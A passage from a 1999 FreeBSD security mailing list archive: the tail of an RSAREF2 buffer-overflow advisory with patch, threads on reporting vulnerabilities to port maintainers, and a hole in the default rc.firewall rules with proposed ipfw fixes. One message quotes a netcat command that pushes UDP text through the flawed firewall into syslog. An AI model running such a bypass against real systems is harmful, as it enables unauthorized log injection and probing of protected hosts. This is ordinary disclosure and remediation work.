elsewhere in the vulnerable program. The exploitability of this bug in SSH comes from the fact that a bug in SSH itself discussed and published in the vuln-dev and bugtraq mailing lists, allows a remote client to provide a suitable private key to the RSAREF functions. The same problem is present in the RSAPublicDecrypt() function, and its exploitability might be even easier, since its much easier to provide a malicious public key to any software package that supports RSA and uses the RSAREF2 implementation. Impact ~~~~~~ It is possible to execute arbitrary commands as the user that runs the RSAREF2 code. For SSH up to 1.2.27 compiled with RSAREF2 this implies the remote execution of arbitrary commands as root. Fix information ~~~~~~~~~~~~~~~ RSA Security was contacted and replied that they don't support RSAREF2 anymore. For futher details you may contact John Linn A patch is provided below, please read carefully the file license.txt from the RSAREF2 distribution before applying it Vulnerable systems ~~~~~~~~~~~~~~~~~~ - - SSH up to 1.2.27 compiled with RSAREF2 (RSAREF is not compiled in by default but it's required in some cases in USA) - - Possibly any other software packages that uses RSAREF2 Additional information ~~~~~~~~~~~~~~~~~~~~~~ This vulnerability was discovered by Alberto Solino and Gerardo Richarte at Core SDI S.A. Copyright Notice: ~~~~~~~~~~~~~~~~~ The contents of this advisory are copyright (c) 1999 CORE SDI S.A. and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. Fix ~~~ Copy de remining of this message to a file named rsaref.patch in rsaref2/source, and apply with 'patch MAX_RSA_MODULUS_LEN) return (RE_LEN); + modulusLen = (publicKey->bits + 7) / 8; if (inputLen + 11 > modulusLen) return (RE_LEN); @@ -78,6 +80,8 @@ unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; unsigned int i, modulusLen, pkcsBlockLen; + if (inputLen>MAX_RSA_MODULUS_LEN) return (RE_LEN); + modulusLen = (publicKey->bits + 7) / 8; if (inputLen > modulusLen) return (RE_LEN); @@ -129,6 +133,8 @@ unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; unsigned int i, modulusLen; + if (inputLen+3>MAX_RSA_MODULUS_LEN) return (RE_LEN); + modulusLen = (privateKey->bits + 7) / 8; if (inputLen + 11 > modulusLen) return (RE_LEN); @@ -168,6 +174,8 @@ unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; unsigned int i, modulusLen, pkcsBlockLen; + if (inputLen>MAX_RSA_MODULUS_LEN) return (RE_LEN); + modulusLen = (privateKey->bits + 7) / 8; if (inputLen > modulusLen) return (RE_LEN); -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQA/AwUBOEXStUBPS1M5RMLQEQLf4QCg6kaXLdSnzgfbgVXztOD38MFTX7AAmwTG F9dMkpeKR3EiiuDSCwi4tNrd =NNXd -----END PGP SIGNATURE----- --- For a personal reply use gera@core-sdi.com ==== End of BugTraq Message =================================== -- Michael Bryan fbsd-security@ursine.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 22:56:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from leaf.lumiere.net (leaf.lumiere.net [207.218.152.15]) by hub.freebsd.org (Postfix) with ESMTP id 63F3F15202 for ; Wed, 1 Dec 1999 22:56:35 -0800 (PST) (envelope-from j@leaf.lumiere.net) Received: (from j@localhost) by leaf.lumiere.net (8.9.2/8.9.1) id WAA87575; Wed, 1 Dec 1999 22:55:24 -0800 (PST) Date: Wed, 1 Dec 1999 22:55:24 -0800 (PST) From: Jesse To: "Jordan K. Hubbard" Cc: Brock Tellier , Bill Swingle , security@FreeBSD.ORG Subject: Re: [Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] ] In-Reply-To: <36932.944099245@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I'm not arguing this at all, I'm simply saying that these issues > should be brought up with the 200 or so maintainers of those > suid-programs in ports. The security officer hasn't a prayer of > addressing all of these and the core parts of FreeBSD as well and this > is one of those areas where delegation and "distributed processing" is > a necessity. Issues with ports need to be raised with the appropriate > ports people. Wouldn't it be reasonable, however, to expect the security officer to redirect notifications to the proper maintainers? In most organizations, if you contact the wrong person, they'll pass on your message to the correct one. One might think one of the benefits of having a security officer is not just a person to fix security holes (I doubt that's the job description, anyway), but to help coordinate and assure that the information gets to the right people. Just two cents, --- Jesse To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 0:19:54 1999 Delivered-To: freebsd-security@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 132BD14DF2 for ; Thu, 2 Dec 1999 00:19:52 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id AAA02667; Thu, 2 Dec 1999 00:18:52 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) To: Jesse Cc: Brock Tellier , Bill Swingle , security@FreeBSD.ORG Subject: Re: [Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] ] In-reply-to: Your message of "Wed, 01 Dec 1999 22:55:24 PST." Date: Thu, 02 Dec 1999 00:18:52 -0800 Message-ID: <2660.944122732@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Wouldn't it be reasonable, however, to expect the security officer to > redirect notifications to the proper maintainers? It would be reasonable to hope, but not to expect. The security officers are horribly overworked. :( - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 1:14:23 1999 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 6E2AE14E11; Thu, 2 Dec 1999 01:14:14 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.040 #1) id 11tSId-000Gow-00; Thu, 02 Dec 1999 11:13:15 +0200 From: Sheldon Hearn To: Bill Swingle Cc: security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-reply-to: Your message of "Wed, 01 Dec 1999 09:32:42 PST." <19991201093242.A71817@dub.net> Date: Thu, 02 Dec 1999 11:13:15 +0200 Message-ID: <64661.944125995@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 01 Dec 1999 09:32:42 PST, Bill Swingle wrote: > Ok, so I know these are all vulnerabilities in third party software, and > that the actual problem with each program is not really ours to fix but > each of these problems can be avoided with small changes to the > respective ports. Well, I hunted the PR database for this guy's reports / patches and look what I found: > OVERVIEW > Vulnerabilities in seyon, xmindpath and angband can be used to upgrade > privileges. for i in seyon xmindpath angband; do query-pr --summary --synopsis="$i" done | grep -v closed query-pr: no PRs matched query-pr: no PRs matched Looks to me like this chap's full of hot air. I'm not saying the problems don't exist, but this guy doesn't seem to have done much to contact us, eh? Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 2:59:24 1999 Delivered-To: freebsd-security@freebsd.org Received: from mirage.nlink.com.br (mirage.nlink.com.br [200.249.195.3]) by hub.freebsd.org (Postfix) with SMTP id 3385614EF0 for ; Thu, 2 Dec 1999 02:59:18 -0800 (PST) (envelope-from paulo@nlink.com.br) Received: (qmail 61790 invoked by uid 501); 2 Dec 1999 10:58:32 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 2 Dec 1999 10:58:32 -0000 Date: Thu, 2 Dec 1999 08:58:32 -0200 (EDT) From: Paulo Fragoso To: security@freebsd.org Subject: TOP Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I've instaled one FreeBSD-3.0-RELEASE and I removed some suid-sgid. Now top and systat don't work even though that programas are with suid-sgid: -r-xr-sr-x 1 root kmem 30376 16 Set 19:47 /usr/bin/top -r-xr-sr-x 1 root kmem 52424 16 Set 19:47 /usr/bin/systat I'm using NO_LKM option in kernel and kern.securelevel=1. What is happening? Thanks, Paulo. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 3:20:20 1999 Delivered-To: freebsd-security@freebsd.org Received: from tusk.mountain-inter.net (tusk.mountain-inter.net [204.244.200.1]) by hub.freebsd.org (Postfix) with ESMTP id 869B014D8B; Thu, 2 Dec 1999 03:20:16 -0800 (PST) (envelope-from sreid@sea-to-sky.net) Received: from grok.localnet (unknown@analog17.sq.mntn.net [204.244.200.26]) by tusk.mountain-inter.net (8.9.3/8.9.3) with ESMTP id DAA09993; Thu, 2 Dec 1999 03:20:08 -0800 Received: by grok.localnet (Postfix, from userid 1000) id 96A03212E07; Thu, 2 Dec 1999 03:21:21 -0800 (PST) Date: Thu, 2 Dec 1999 03:21:21 -0800 From: Steve Reid To: Sheldon Hearn Cc: Bill Swingle , security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] Message-ID: <19991202032121.A7470@grok.localnet> References: <19991201093242.A71817@dub.net> <64661.944125995@axl.noc.iafrica.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <64661.944125995@axl.noc.iafrica.com>; from Sheldon Hearn on Thu, Dec 02, 1999 at 11:13:15AM +0200 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Dec 02, 1999 at 11:13:15AM +0200, Sheldon Hearn wrote: > query-pr: no PRs matched > Looks to me like this chap's full of hot air. I'm not saying the > problems don't exist, but this guy doesn't seem to have done much to > contact us, eh? It may be that he contacted the port maintainer and/or security-officer through email rather than using the PR system. As long as we're on the subject I may as well relay my own experience... Some time ago I found a root exploit in a third-party package installed via ports. I wasn't sure if it was freebsd-specific so I emailed the port maintainer and the people originally responsible for the software. I only got a response from the port maintainer, who responded within a day or so. It turns out the problem is (Free?)BSD specific, and I figured an email exchange with the port maintainer would be sufficient, so I didn't think about filing a PR. I proposed a temporary fix that would reduce the vulnerability such that it was still serious but no longer instant root. I kept checking the port's patches directory to see if my temporary fix was applied but there were no changes in the patches directory (note: I didn't check the distfiles). Instead a strong warning message about a security hole appeared in the pkg/DESCR. A couple of days after the exchange I emailed the port maintainer again with patches to correct the problems I had found. I don't know if the patches completely solved all of the problems (stopped looking after I found two root exploits in 5-10 minutes) or even if the patches were correct, but I didn't get any further response. I just checked out the port. The temporary fix appears to have been applied. The warning message is gone. The patches I offered were never applied, and there was an equivalent change for only one of the bugs (a buffer overflow). The other bug can only be solved by dropping privileges at an appropriate time, which is not done. The program can still be easily expoited and the problem has not really been solved. I'd say the severity remains as bad as the holes that started this thread, if not worse. When I saw the warning in pkg/DESCR I figured I'd wait a couple weeks then post to Bugtraq, but never got around to it. I'll try the port maintainer again first. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 3:25:43 1999 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 4B1FE14D8B; Thu, 2 Dec 1999 03:25:34 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.040 #1) id 11tUM6-000HWI-00; Thu, 02 Dec 1999 13:24:58 +0200 From: Sheldon Hearn To: Steve Reid Cc: Bill Swingle , security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-reply-to: Your message of "Thu, 02 Dec 1999 03:21:21 PST." <19991202032121.A7470@grok.localnet> Date: Thu, 02 Dec 1999 13:24:58 +0200 Message-ID: <67349.944133898@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 02 Dec 1999 03:21:21 PST, Steve Reid wrote: > I kept checking the port's patches directory to see if my temporary > fix was applied but there were no changes in the patches directory > (note: I didn't check the distfiles). I think that's where you made your mistake. :-) You need to remember that, with very few exceptions, FreeBSD contributors have day jobs. Not only that, but the kind of person who takes an interest in FreeBSD development is usually terrible with time management -- we tend to have TODO lists longer than our family trees! If you're not going to badger a port's maintainer until he/she does something, you're unlikely to get results out of a single request. That's why the PR system is good. The PR sits there pissing us off until someone does something about it. :-) Later, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 3:48: 5 1999 Delivered-To: freebsd-security@freebsd.org Received: from zeta.qmw.ac.uk (zeta.qmw.ac.uk [138.37.6.6]) by hub.freebsd.org (Postfix) with ESMTP id 6677914FF0 for ; Thu, 2 Dec 1999 03:48:02 -0800 (PST) (envelope-from d.m.pick@qmw.ac.uk) Received: from xi.css.qmw.ac.uk ([138.37.8.11]) by zeta.qmw.ac.uk with esmtp (Exim 3.02 #1) id 11tUhY-0003gZ-00; Thu, 02 Dec 1999 11:47:08 +0000 Received: from cgaa180 by xi.css.qmw.ac.uk with local (Exim 1.92 #1) id 11tUha-0003Bv-00; Thu, 2 Dec 1999 11:47:10 +0000 X-Mailer: exmh version 2.0.2 2/24/98 To: Jason Hudgins Cc: security@freebsd.org Subject: Re: logging a telnet session In-reply-to: Your message of "Wed, 01 Dec 1999 13:40:53 CST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 02 Dec 1999 11:47:09 +0000 From: David Pick Message-Id: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The original message/request did not state if the machine in question had actually been compromised, or if only the specific user account had been compromised (for example by the password being obtained by sniffing, burglary, carelesness, or coersion). Certainly the people who suggest logging from another machine are correct if the machine as a whole (or the root account) has been compromised. You can't rely on *anything* from a machine that badly compromised. If, however, only the account has been compromised, the question as posed is valid (and the culprit could still be described as an intruder). "Crackers" habitually use compromised accounts to "hop" from one machine to another to make tracing them more dificult and do not always obtain system manager rights on such machines. It is probably desirable to watch the traffic and notify the managers of any other machines shown to be compromised. It might be possible to start the "watch" session from the system startup scripts. If you *are* using "tcpdump" in any way, there's a very good tool (in Perl) for analysing the dump files and showing individual sessions extracted from the dump. It's called "review": ftp://coast.cs.purdue.edu/pub/tools/unix/review/ and (amongst other things) will "play back" a telnet session in an xterm window so you can watch it complete with control character sequences being interpreted as ANSI actions. So a "tcpdump" trace taken on either your main (if trusted!) or an external machine can be looked at reasonably to see what your intruder is doing. -- David Pick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 4: 6:46 1999 Delivered-To: freebsd-security@freebsd.org Received: from megaweapon.zigg.com (megaweapon.zigg.com [206.114.60.8]) by hub.freebsd.org (Postfix) with ESMTP id E5B5E15074 for ; Thu, 2 Dec 1999 04:06:40 -0800 (PST) (envelope-from matt@zigg.com) Received: from localhost (matt@localhost) by megaweapon.zigg.com (8.9.3/8.9.3) with ESMTP id HAA89189; Thu, 2 Dec 1999 07:04:41 -0500 (EST) (envelope-from matt@zigg.com) Date: Thu, 2 Dec 1999 07:04:40 -0500 (EST) From: Matt Behrens To: Jesse Cc: "Jordan K. Hubbard" , Brock Tellier , Bill Swingle , security@FreeBSD.ORG Subject: Re: [Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] ] In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Yesterday, Jesse wrote: : Wouldn't it be reasonable, however, to expect the security officer to : redirect notifications to the proper maintainers? In most organizations, : if you contact the wrong person, they'll pass on your message to the : correct one. One might think one of the benefits of having a security : officer is not just a person to fix security holes (I doubt that's the job : description, anyway), but to help coordinate and assure that the : information gets to the right people. Isn't that what happened? Didn't Mr. Tellier say that the security officer had ``contacted the maintainers''? Matt Behrens Owner/Administrator, zigg.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 4:14:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from slack.net (brooklyn.slack.net [206.41.21.102]) by hub.freebsd.org (Postfix) with SMTP id 8970B14F44 for ; Thu, 2 Dec 1999 04:14:28 -0800 (PST) (envelope-from andrewr@slack.net) Received: (qmail 1043 invoked by uid 1077); 2 Dec 1999 12:10:02 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 2 Dec 1999 12:10:02 -0000 Date: Thu, 2 Dec 1999 07:10:02 -0500 (EST) From: andrewr To: "Jordan K. Hubbard" Cc: Jesse , Brock Tellier , Bill Swingle , security@FreeBSD.ORG Subject: Re: [Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities In-Reply-To: <2660.944122732@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > It would be reasonable to hope, but not to expect. The security > officers are horribly overworked. :( Is it feasible to ask whether or not there is/should be a _core_ security group? I always had thought that the "Security Officer" for the FreeBSD project was a few people... however, if this doesn't seem to fit the bill for them, I am sure there are a few people who wouldn't mind being the persons held responsible for such a task.. (task being that of pointing bugs to the correct maintainers when it is security related). I know I am willing to put in the time for this kind of job, however, I think it would be better for others who are possibly closer to the project. Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 5:10:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from sand2.sentex.ca (sand2.sentex.ca [209.167.248.3]) by hub.freebsd.org (Postfix) with ESMTP id 4C2D814BD4 for ; Thu, 2 Dec 1999 05:10:40 -0800 (PST) (envelope-from mike@sentex.net) Received: from gravel (ospf-mdt.sentex.net [205.211.164.81]) by sand2.sentex.ca (8.8.8/8.8.8) with SMTP id IAA25084 for ; Thu, 2 Dec 1999 08:10:05 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.1.19991202080854.05199820@granite.sentex.ca> X-Sender: mdtancsa@granite.sentex.ca X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 02 Dec 1999 08:09:36 -0500 To: freebsd-security@FreeBSD.ORG From: Mike Tancsa Subject: Re: Another ssh/RSAREF2 overflow problem from BUGTRAQ In-Reply-To: <199912012253340650.029F89B6@quaggy.ursine.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It appears the commit went it. ---Mike > >cpiazza 1999/12/01 23:49:03 PST > > Added files: > security/rsaref/patches patch-ac > Log: > fix buffer overflow in RSA{Public,Private}Decrypt. from CORE SDI. > ********************************************************************** Mike Tancsa * mike@sentex.net Sentex Communications Corp, * http://www.sentex.net/mike Cambridge, Ontario * 519 651 3400 Canada * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 5:23:39 1999 Delivered-To: freebsd-security@freebsd.org Received: from tusk.mountain-inter.net (tusk.mountain-inter.net [204.244.200.1]) by hub.freebsd.org (Postfix) with ESMTP id 27B4514E4A; Thu, 2 Dec 1999 05:23:35 -0800 (PST) (envelope-from sreid@sea-to-sky.net) Received: from grok.localnet (unknown@analog4.sq.mntn.net [204.244.200.13]) by tusk.mountain-inter.net (8.9.3/8.9.3) with ESMTP id FAA14275; Thu, 2 Dec 1999 05:22:06 -0800 Received: by grok.localnet (Postfix, from userid 1000) id 6EF08212E07; Thu, 2 Dec 1999 05:22:43 -0800 (PST) Date: Thu, 2 Dec 1999 05:22:43 -0800 From: Steve Reid To: Sheldon Hearn Cc: Bill Swingle , security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] Message-ID: <19991202052242.C7470@grok.localnet> References: <19991202032121.A7470@grok.localnet> <67349.944133898@axl.noc.iafrica.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <67349.944133898@axl.noc.iafrica.com>; from Sheldon Hearn on Thu, Dec 02, 1999 at 01:24:58PM +0200 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Dec 02, 1999 at 01:24:58PM +0200, Sheldon Hearn wrote: > If you're not going to badger a port's maintainer until he/she does > something, you're unlikely to get results out of a single request. > That's why the PR system is good. The PR sits there pissing us off > until someone does something about it. :-) In my case I don't think it would've made a difference. Something _was_ done about it, but it was a halfway job. If it had been reported via a PR the PR would probably have been closed. I also didn't initally know if it was a FreeBSD problem or a [program in question] problem. I wanted to send to the program maintainer and the port maintainer just to be sure. I regret not cc'ing security-officer@freebsd.org; I remembered to do that this time. Like it or not email is a more-or-less universal form of communication. Send-pr is not. If the software maintainers can't deal with security issues sent in email form, that's a problem. And it's a problem not shared by the folks on Bugtraq. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 5:42:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 7872014C18; Thu, 2 Dec 1999 05:42:06 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.040 #1) id 11tWUB-000Ioa-00; Thu, 02 Dec 1999 15:41:27 +0200 From: Sheldon Hearn To: Steve Reid Cc: Bill Swingle , security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-reply-to: Your message of "Thu, 02 Dec 1999 05:22:43 PST." <19991202052242.C7470@grok.localnet> Date: Thu, 02 Dec 1999 15:41:25 +0200 Message-ID: <72326.944142085@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 02 Dec 1999 05:22:43 PST, Steve Reid wrote: > Like it or not email is a more-or-less universal form of communication. > Send-pr is not. If the software maintainers can't deal with security > issues sent in email form, that's a problem. You forget that FreeBSD ports collection maintainers are seldom the software maintainers. :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 7:22:45 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id 8A85914BF6; Thu, 2 Dec 1999 07:22:35 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id PAA12515; Thu, 2 Dec 1999 15:19:44 GMT Message-ID: <38468E10.2E3B3338@algroup.co.uk> Date: Thu, 02 Dec 1999 15:19:44 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Steve Reid Cc: Sheldon Hearn , Bill Swingle , security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] References: <19991201093242.A71817@dub.net> <64661.944125995@axl.noc.iafrica.com> <19991202032121.A7470@grok.localnet> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Steve Reid wrote: > > On Thu, Dec 02, 1999 at 11:13:15AM +0200, Sheldon Hearn wrote: > > query-pr: no PRs matched > > Looks to me like this chap's full of hot air. I'm not saying the > > problems don't exist, but this guy doesn't seem to have done much to > > contact us, eh? > > It may be that he contacted the port maintainer and/or security-officer > through email rather than using the PR system. > > As long as we're on the subject I may as well relay my own experience... > > Some time ago I found a root exploit in a third-party package installed > via ports. I wasn't sure if it was freebsd-specific so I emailed the > port maintainer and the people originally responsible for the software. I can also say that I've not had a great response from the security team on what I consider to be a serious issue... The only reason I also haven't (yet) butraq'd it, is because I haven't had time to bring a machine up to date to see if the fix was committed without a solution actually being agreed on the list... My specific experience was that I found a hole in the default rc.firewall rules. This hole means that UDP is totally unprotected because of faulty rules for DNS and NTP. I posted a suggested fix to the security-officer, and got an immediate reply saying "I agree 100%". The security-officer is clearly also a list, because I then got another reply from someone else, telling me how to configure my DNS. This degenerated into a thread related to DNS server configuration and entirely missing the point regarding ipfw. I then suggested moving it to the wider forum of this list, and guess what...? The same thing happened! The thread diappeared in a cloud of irrelevant discussion about how to set up name servers. As I say, I'm currently unaware of the status of rc.firewall, but when I get around to checking it, if it hasn't been fixed, you'll be reading about yourselves on bugtraq again! If it has been fixed, then excellent, well done, etc. etc. :) For a bit of context and to save you trawling, here's the juicy bit: > And for those that don't think this is a serious issue... > > Get a copy of netcat. Make sure syslogd is running in default mode (i.e. > without "-s" option) on the target "firewalled" server. Run the > following command on a machine outside the firewall: > > nc -u -p 53 -n [firewalled-server-ip] 514 > > and type some text in. Now go and tail /var/log/messages on the target > server, and you'll see the text that has just walked through your > firewall. I leave it as an exercise for the reader to exploit an NFS > mount in a similar fashion... cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 8: 3:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from server.baldwin.cx (jobaldwi.campus.vt.edu [198.82.67.146]) by hub.freebsd.org (Postfix) with ESMTP id 6B19014D06 for ; Thu, 2 Dec 1999 08:03:08 -0800 (PST) (envelope-from jhb@FreeBSD.org) Received: from john.baldwin.cx (john [10.0.0.2]) by server.baldwin.cx (8.9.3/8.9.3) with ESMTP id LAA37669; Thu, 2 Dec 1999 11:02:51 -0500 (EST) (envelope-from jhb@FreeBSD.org) Message-Id: <199912021602.LAA37669@server.baldwin.cx> X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <38468E10.2E3B3338@algroup.co.uk> Date: Thu, 02 Dec 1999 11:02:51 -0500 (EST) From: John Baldwin To: Adam Laurie , freebsd-security@FreeBSD.org Subject: rc.firewall revisited Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 02-Dec-99 Adam Laurie wrote: > My specific experience was that I found a hole in the default > rc.firewall rules. This hole means that UDP is totally unprotected > because of faulty rules for DNS and NTP. I posted a suggested fix to > the security-officer, and got an immediate reply saying "I agree > 100%". The security-officer is clearly also a list, because I then > got another reply from someone else, telling me how to configure my > DNS. This degenerated into a thread related to DNS server > configuration and entirely missing the point regarding ipfw. I then > suggested moving it to the wider forum of this list, and guess > what...? The same thing happened! The thread diappeared in a cloud > of irrelevant discussion about how to set up name servers. As I > say, I'm currently unaware of the status of rc.firewall, but when I > get around to checking it, if it hasn't been fixed, you'll be > reading about yourselves on bugtraq again! If it has been fixed, > then excellent, well done, etc. etc. :) I checked the logs, and no change has been committed. Your proposal is to replace: # Allow DNS queries out in the world $fwcmd add pass udp from any 53 to ${ip} $fwcmd add pass udp from ${ip} to any 53 # Allow NTP queries out in the world $fwcmd add pass udp from any 123 to ${ip} $fwcmd add pass udp from ${ip} to any 123 with: # Block low port incoming UDP (and NFS) but allow replies for DNS, NTP # and all other high ports. Allow outgoing UDP. $fwcmd add pass udp from any to ${ip} 123 $fwcmd add deny udp from any to ${ip} 0-1023,1110,2049 $fwcmd add pass udp from any to any There were concerns about DNS replies to a local server. In -current and -stable, BIND is 8.2.x, so queries to the outside do not originate from 53 by default, and so replies do not come in to port 53. However, if machines inside the firewall use a DNS server on the firewall then you could have problems. Perhaps this instead then: # Allow NTP to this machine $fwcmd add pass udp from any to ${ip} 123 # Allow DNS requests to this machine $fwcmd add pass udp from any to ${ip} 53 # Deny all other incoming requests on low ports and NFS $fwcmd add deny udp from any to ${ip} 0-1023,1110,2049 # Allow all outgoing UDP $fwcmd add pass udp from any to any -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.cslab.vt.edu/~jobaldwi/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 9: 8: 1 1999 Delivered-To: freebsd-security@freebsd.org Received: from wopr.caltech.edu (wopr.caltech.edu [131.215.240.222]) by hub.freebsd.org (Postfix) with 